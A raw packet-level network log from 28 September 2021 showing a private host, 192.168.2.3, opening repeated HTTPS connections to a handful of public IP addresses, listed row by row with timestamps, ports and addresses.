Sep 28, 2021 09:53:52.255315065 CEST	443	49916	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:52.258047104 CEST	49916	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:52.258064985 CEST	49916	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:52.258076906 CEST	49916	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:52.258097887 CEST	443	49916	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:52.260973930 CEST	49916	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:52.260997057 CEST	49916	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:52.414805889 CEST	49917	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:52.414864063 CEST	443	49917	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:52.415075064 CEST	49917	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:52.416054010 CEST	49917	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:52.416080952 CEST	443	49917	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:52.463351011 CEST	443	49917	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:52.463526964 CEST	49917	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:52.465796947 CEST	49917	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:52.465826035 CEST	443	49917	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:52.467973948 CEST	49917	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:52.467999935 CEST	443	49917	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:52.507800102 CEST	443	49903	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:52.507875919 CEST	443	49903	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:52.507976055 CEST	49903	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:52.508112907 CEST	49903	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:52.508574009 CEST	49903	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:53:52.508600950 CEST	443	49903	161.35.29.127	192.168.2.3
Sep 28, 2021 09:53:52.611325979 CEST	443	49917	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:52.611419916 CEST	443	49917	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:52.611468077 CEST	49917	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:52.611624956 CEST	49917	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:52.613521099 CEST	49917	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:52.613559008 CEST	443	49917	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:52.942759991 CEST	49919	443	192.168.2.3	34.117.59.81
Sep 28, 2021 09:53:52.942819118 CEST	443	49919	34.117.59.81	192.168.2.3
Sep 28, 2021 09:53:52.942930937 CEST	49919	443	192.168.2.3	34.117.59.81
Sep 28, 2021 09:53:52.943633080 CEST	49919	443	192.168.2.3	34.117.59.81
Sep 28, 2021 09:53:52.943660975 CEST	443	49919	34.117.59.81	192.168.2.3
Sep 28, 2021 09:53:52.995340109 CEST	443	49919	34.117.59.81	192.168.2.3
Sep 28, 2021 09:53:52.995587111 CEST	49919	443	192.168.2.3	34.117.59.81
Sep 28, 2021 09:53:53.189090014 CEST	49919	443	192.168.2.3	34.117.59.81
Sep 28, 2021 09:53:53.189126968 CEST	443	49919	34.117.59.81	192.168.2.3
Sep 28, 2021 09:53:53.189400911 CEST	443	49919	34.117.59.81	192.168.2.3
Sep 28, 2021 09:53:53.189744949 CEST	49919	443	192.168.2.3	34.117.59.81
Sep 28, 2021 09:53:53.190073013 CEST	49919	443	192.168.2.3	34.117.59.81
Sep 28, 2021 09:53:53.231142998 CEST	443	49919	34.117.59.81	192.168.2.3
Sep 28, 2021 09:53:53.318872929 CEST	443	49919	34.117.59.81	192.168.2.3
Sep 28, 2021 09:53:53.318939924 CEST	443	49919	34.117.59.81	192.168.2.3
Sep 28, 2021 09:53:53.318979979 CEST	49919	443	192.168.2.3	34.117.59.81
Sep 28, 2021 09:53:53.319089890 CEST	49919	443	192.168.2.3	34.117.59.81
Sep 28, 2021 09:53:53.320678949 CEST	49919	443	192.168.2.3	34.117.59.81
Sep 28, 2021 09:53:53.320707083 CEST	443	49919	34.117.59.81	192.168.2.3
Sep 28, 2021 09:53:53.735313892 CEST	49921	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:53.735352993 CEST	443	49921	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:53.735443115 CEST	49921	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:53.736068964 CEST	49921	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:53.736079931 CEST	443	49921	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:53.780785084 CEST	443	49921	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:53.780862093 CEST	49921	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:53.782042980 CEST	49921	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:53.782052994 CEST	443	49921	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:53.787275076 CEST	49921	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:53.787291050 CEST	443	49921	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:53.922802925 CEST	443	49921	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:53.922905922 CEST	443	49921	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:53.923039913 CEST	49921	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:53.923053026 CEST	49921	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:53.924746037 CEST	49921	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:53.924762964 CEST	443	49921	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:54.252942085 CEST	49922	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:54.252990007 CEST	443	49922	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:54.253211021 CEST	49922	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:54.254810095 CEST	49922	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:54.254837036 CEST	443	49922	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:54.299271107 CEST	443	49922	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:54.299518108 CEST	49922	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:54.302016020 CEST	49922	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:54.302030087 CEST	443	49922	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:54.303025007 CEST	49922	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:54.303035975 CEST	443	49922	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:54.439491034 CEST	443	49922	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:54.439618111 CEST	443	49922	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:54.439671040 CEST	49922	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:54.439821005 CEST	49922	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:54.440784931 CEST	49922	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:54.440804005 CEST	443	49922	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:54.601281881 CEST	49923	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:54.601330996 CEST	443	49923	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:54.601871014 CEST	49923	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:54.602787971 CEST	49923	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:54.602807999 CEST	443	49923	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:54.685285091 CEST	443	49923	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:54.685898066 CEST	49923	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:54.686290026 CEST	49923	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:54.686300039 CEST	443	49923	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:54.688585043 CEST	49923	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:54.688599110 CEST	443	49923	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:54.875055075 CEST	443	49923	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:54.875243902 CEST	443	49923	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:54.876193047 CEST	49923	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:54.876211882 CEST	49923	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:54.884213924 CEST	49923	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:54.884242058 CEST	443	49923	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:55.053899050 CEST	49924	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:55.053947926 CEST	443	49924	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:55.054060936 CEST	49924	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:55.055231094 CEST	49924	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:55.055250883 CEST	443	49924	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:55.141494989 CEST	443	49924	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:55.141691923 CEST	49924	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:55.142700911 CEST	49924	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:55.142723083 CEST	443	49924	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:55.144257069 CEST	49924	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:55.144280910 CEST	443	49924	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:55.329036951 CEST	443	49924	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:55.329161882 CEST	443	49924	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:55.329240084 CEST	49924	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:55.329381943 CEST	49924	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:55.330231905 CEST	49924	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:55.330249071 CEST	443	49924	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:55.497479916 CEST	49925	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:55.497538090 CEST	443	49925	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:55.498312950 CEST	49925	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:55.498783112 CEST	49925	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:55.498800993 CEST	443	49925	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:55.547005892 CEST	443	49925	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:55.547451973 CEST	49925	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:55.550044060 CEST	49925	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:55.550071001 CEST	443	49925	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:55.550092936 CEST	49925	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:55.550100088 CEST	443	49925	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:55.590271950 CEST	443	49925	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:55.590344906 CEST	443	49925	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:55.590406895 CEST	443	49925	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:55.590590954 CEST	49925	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:55.590605021 CEST	49925	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:55.590610027 CEST	49925	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:55.596936941 CEST	49925	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:55.596972942 CEST	443	49925	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:55.884140968 CEST	49932	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:55.884218931 CEST	443	49932	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:55.884443998 CEST	49932	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:55.885741949 CEST	49932	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:55.885777950 CEST	443	49932	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:55.933286905 CEST	443	49932	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:55.935851097 CEST	49932	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:55.938852072 CEST	49932	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:55.938891888 CEST	443	49932	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:55.939765930 CEST	49932	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:55.939794064 CEST	443	49932	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:56.097815037 CEST	443	49932	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:56.097924948 CEST	443	49932	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:56.098125935 CEST	49932	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:56.098146915 CEST	49932	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:56.099298954 CEST	49932	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:56.099337101 CEST	443	49932	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:57.502248049 CEST	49935	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:57.502295017 CEST	443	49935	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:57.502764940 CEST	49935	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:57.502799988 CEST	49935	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:57.502809048 CEST	443	49935	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:57.585043907 CEST	443	49935	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:57.585452080 CEST	49935	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:57.586786032 CEST	49935	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:57.586795092 CEST	443	49935	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:57.589684963 CEST	49935	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:57.589704037 CEST	443	49935	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:57.768749952 CEST	443	49935	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:57.768903971 CEST	443	49935	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:57.768964052 CEST	49935	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:57.771734953 CEST	49935	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:58.070199013 CEST	49935	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:58.070234060 CEST	443	49935	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:58.375933886 CEST	49936	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:58.375983000 CEST	443	49936	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:58.376446962 CEST	49936	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:58.377027035 CEST	49936	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:58.377046108 CEST	443	49936	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:58.460345984 CEST	443	49936	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:58.461982965 CEST	49936	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:58.481918097 CEST	49936	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:58.481946945 CEST	443	49936	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:58.483484030 CEST	49936	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:58.483499050 CEST	443	49936	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:58.644377947 CEST	443	49936	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:58.644640923 CEST	443	49936	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:58.644835949 CEST	49936	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:58.649827003 CEST	49936	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:58.649852991 CEST	443	49936	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:59.281735897 CEST	49938	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:59.281773090 CEST	443	49938	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:59.281882048 CEST	49938	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:59.283020020 CEST	49938	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:59.283037901 CEST	443	49938	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:59.329963923 CEST	443	49938	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:59.330163956 CEST	49938	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:59.331510067 CEST	49938	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:59.331526995 CEST	443	49938	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:59.344605923 CEST	49938	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:59.344619036 CEST	443	49938	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:59.372646093 CEST	443	49938	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:59.372689962 CEST	443	49938	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:59.372739077 CEST	443	49938	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:59.372767925 CEST	49938	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:59.372838974 CEST	49938	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:59.373374939 CEST	49938	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:53:59.373393059 CEST	443	49938	142.250.185.196	192.168.2.3
Sep 28, 2021 09:53:59.632915020 CEST	49939	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:59.632961988 CEST	443	49939	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:59.633147001 CEST	49939	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:59.633565903 CEST	49939	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:59.633584976 CEST	443	49939	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:59.678061962 CEST	443	49939	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:59.678327084 CEST	49939	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:59.680077076 CEST	49939	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:59.680088997 CEST	443	49939	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:59.680876970 CEST	49939	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:59.680890083 CEST	443	49939	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:59.818195105 CEST	443	49939	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:59.818294048 CEST	49939	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:59.818301916 CEST	443	49939	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:59.818373919 CEST	49939	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:59.818911076 CEST	49939	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:53:59.818933010 CEST	443	49939	162.219.225.118	192.168.2.3
Sep 28, 2021 09:53:59.988944054 CEST	49940	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:59.988980055 CEST	443	49940	87.248.100.216	192.168.2.3
Sep 28, 2021 09:53:59.989442110 CEST	49940	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:59.990150928 CEST	49940	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:53:59.990161896 CEST	443	49940	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:00.070832968 CEST	443	49940	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:00.070991039 CEST	49940	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:00.072381973 CEST	49940	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:00.072391987 CEST	443	49940	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:00.073262930 CEST	49940	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:00.073268890 CEST	443	49940	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:00.251323938 CEST	443	49940	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:00.251486063 CEST	443	49940	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:00.251534939 CEST	49940	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:00.251724005 CEST	49940	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:00.253120899 CEST	49940	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:00.253140926 CEST	443	49940	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:00.435797930 CEST	49941	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:00.435832977 CEST	443	49941	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:00.436060905 CEST	49941	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:00.436562061 CEST	49941	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:00.436573029 CEST	443	49941	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:00.481272936 CEST	443	49941	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:00.481447935 CEST	49941	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:00.483369112 CEST	49941	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:00.483380079 CEST	443	49941	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:00.484165907 CEST	49941	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:00.484175920 CEST	443	49941	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:00.623611927 CEST	443	49941	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:00.623704910 CEST	443	49941	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:00.624644995 CEST	49941	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:00.629926920 CEST	49941	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:00.629965067 CEST	443	49941	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:00.951188087 CEST	49944	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:00.951231003 CEST	443	49944	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:00.951369047 CEST	49944	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:00.951975107 CEST	49944	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:00.951988935 CEST	443	49944	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.032687902 CEST	443	49944	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.032934904 CEST	49944	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.033807039 CEST	49944	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.033817053 CEST	443	49944	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.034849882 CEST	49944	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.034858942 CEST	443	49944	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.219453096 CEST	443	49944	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.219717026 CEST	49944	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.219723940 CEST	443	49944	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.220927954 CEST	49944	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.220941067 CEST	49944	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.220957041 CEST	443	49944	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.367197037 CEST	49945	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.367244959 CEST	443	49945	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.368465900 CEST	49945	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.368494034 CEST	49945	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.368501902 CEST	443	49945	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.454257965 CEST	443	49945	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.454363108 CEST	49945	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.456022024 CEST	49945	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.456042051 CEST	443	49945	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.462039948 CEST	49945	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.462063074 CEST	443	49945	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.726325035 CEST	443	49945	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.726428032 CEST	49945	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.726442099 CEST	443	49945	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.726505041 CEST	443	49945	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:01.726567984 CEST	49945	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.727133036 CEST	49945	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:01.727152109 CEST	443	49945	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:02.306955099 CEST	49947	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:02.307005882 CEST	443	49947	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:02.307178020 CEST	49947	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:02.308422089 CEST	49947	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:02.308451891 CEST	443	49947	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:02.363234997 CEST	443	49947	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:02.363799095 CEST	49947	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:02.363816977 CEST	49947	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:02.363826036 CEST	443	49947	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:02.366425991 CEST	49947	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:02.366449118 CEST	443	49947	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:02.508029938 CEST	443	49947	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:02.508138895 CEST	443	49947	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:02.508438110 CEST	49947	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:02.509967089 CEST	49947	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:02.509999990 CEST	443	49947	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:03.266247034 CEST	49949	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:03.266288996 CEST	443	49949	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:03.266649961 CEST	49949	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:03.267230988 CEST	49949	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:03.267251968 CEST	443	49949	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:03.313803911 CEST	443	49949	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:03.316687107 CEST	49949	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:03.317717075 CEST	49949	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:03.317730904 CEST	443	49949	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:03.319786072 CEST	49949	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:03.319799900 CEST	443	49949	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:03.355920076 CEST	443	49949	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:03.355977058 CEST	443	49949	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:03.356024027 CEST	443	49949	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:03.356035948 CEST	49949	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:03.356070995 CEST	49949	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:03.356698036 CEST	49949	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:03.356723070 CEST	49949	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:03.356740952 CEST	443	49949	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:03.538935900 CEST	49950	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:03.538978100 CEST	443	49950	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:03.539067984 CEST	49950	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:03.539685965 CEST	49950	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:03.539710999 CEST	443	49950	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:03.630981922 CEST	443	49950	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:03.631401062 CEST	49950	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:03.635310888 CEST	49950	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:03.635328054 CEST	443	49950	87.248.100.216	192.168.2.3
